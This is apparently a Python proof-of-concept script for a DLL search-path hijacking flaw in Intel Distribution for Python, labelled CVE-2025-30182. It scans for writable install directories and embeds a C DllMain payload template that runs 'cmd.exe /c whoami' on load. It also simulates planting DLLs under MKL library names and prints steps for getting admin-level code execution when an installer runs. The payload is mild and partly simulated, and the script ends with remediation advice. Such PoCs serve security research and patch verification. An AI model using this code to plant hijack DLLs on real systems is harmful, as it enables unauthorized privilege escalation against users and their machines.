#!/usr/bin/env python3
"""
CVE-2025-30182 PoC - Intel Distribution for Python DLL Search Path Hijacking
Note: This is a conceptual PoC for educational and security research purposes only.
"""
import os
import sys
import ctypes
from ctypes import wintypes
# Windows DLL loading constants
LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR = 0x00000100
LOAD_LIBRARY_SEARCH_DEFAULT_DIRS = 0x00001000
def create_malicious_dll_payload():
"""
Generate malicious DLL code that creates a reverse shell or executes privileged commands
"""
dll_template = '''
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{
if (fdwReason == DLL_PROCESS_ATTACH) {{
// Payload execution - write to log or execute commands
HANDLE hFile = CreateFileA(
"C:\\\\Temp\\\\cve_2025_30182_exploit.log",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {{
const char* msg = "CVE-2025-30182 exploited - DLL hijacking successful\\n";
DWORD bytesWritten;
WriteFile(hFile, msg, strlen(msg), &bytesWritten, NULL);
CloseHandle(hFile);
}}
// Execute malicious actions with elevated privileges
system("cmd.exe /c whoami > C:\\\\Temp\\\\priv_esc_result.txt");
}}
return TRUE;
}}
'''
return dll_template
def check_vulnerability():
"""
Check if Intel Distribution for Python installation path is vulnerable
"""
vulnerable_paths = [
os.path.join(os.environ.get('PROGRAMFILES', ''), 'Intel\Distribution for Python'),
os.path.join(os.environ.get('PROGRAMFILES(X86)', ''), 'Intel\Distribution for Python'),
'C:\\Program Files\\Intel\\Distribution for Python',
'C:\\Program Files (x86)\\Intel\\Distribution for Python'
]
print("[*] Checking for vulnerable Intel Distribution for Python installation...")
for path in vulnerable_paths:
if os.path.exists(path):
print(f"[+] Found Intel Distribution for Python at: {path}")
# Check if installation directory is writable
if os.access(path, os.W_OK):
print(f"[!] VULNERABLE: Directory is writable - {path}")
return True, path
else:
print(f"[*] Directory not writable - {path}")
return False, None
def place_malicious_dll(target_dir, dll_name):
"""
Simulate placing a malicious DLL in the target directory
In real attack, this would be the actual malicious DLL file
"""
dll_path = os.path.join(target_dir, dll_name)
print(f"[*] Simulating malicious DLL placement at: {dll_path}")
print("[!] In a real attack, this would be an actual compiled malicious DLL")
# Log the simulated action
log_file = os.path.join(os.environ.get('TEMP', '/tmp'), 'poc_simulation.log')
with open(log_file, 'a') as f:
f.write(f"CVE-2025-30182 PoC: DLL would be placed at {dll_path}\n")
return True
def main():
print("=" * 70)
print("CVE-2025-30182 PoC - Intel Distribution for Python DLL Hijacking")
print("=" * 70)
print()
# Check for vulnerability
is_vulnerable, target_path = check_vulnerability()
if is_vulnerable:
print("\n[!] System appears to be vulnerable to CVE-2025-30182")
print("\n[*] Attack simulation:")
# Common DLL names that might be loaded by the installer
common_dlls = ['Intel_MKL.dll', 'mkl_core.dll', 'mkl_intel_thread.dll']
for dll in common_dlls:
place_malicious_dll(target_path, dll)
print("\n[*] To complete the attack:")
print(" 1. Wait for a user with admin privileges to run the installer")
print(" 2. The malicious DLL will be loaded with elevated privileges")
print(" 3. Attacker code executes with SYSTEM/admin privileges")
else:
print("\n[*] Intel Distribution for Python not found or not vulnerable")
print("\n[*] Remediation: Upgrade to Intel Distribution for Python 2025.2.0 or later")
print("=" * 70)
if __name__ == '__main__':
main()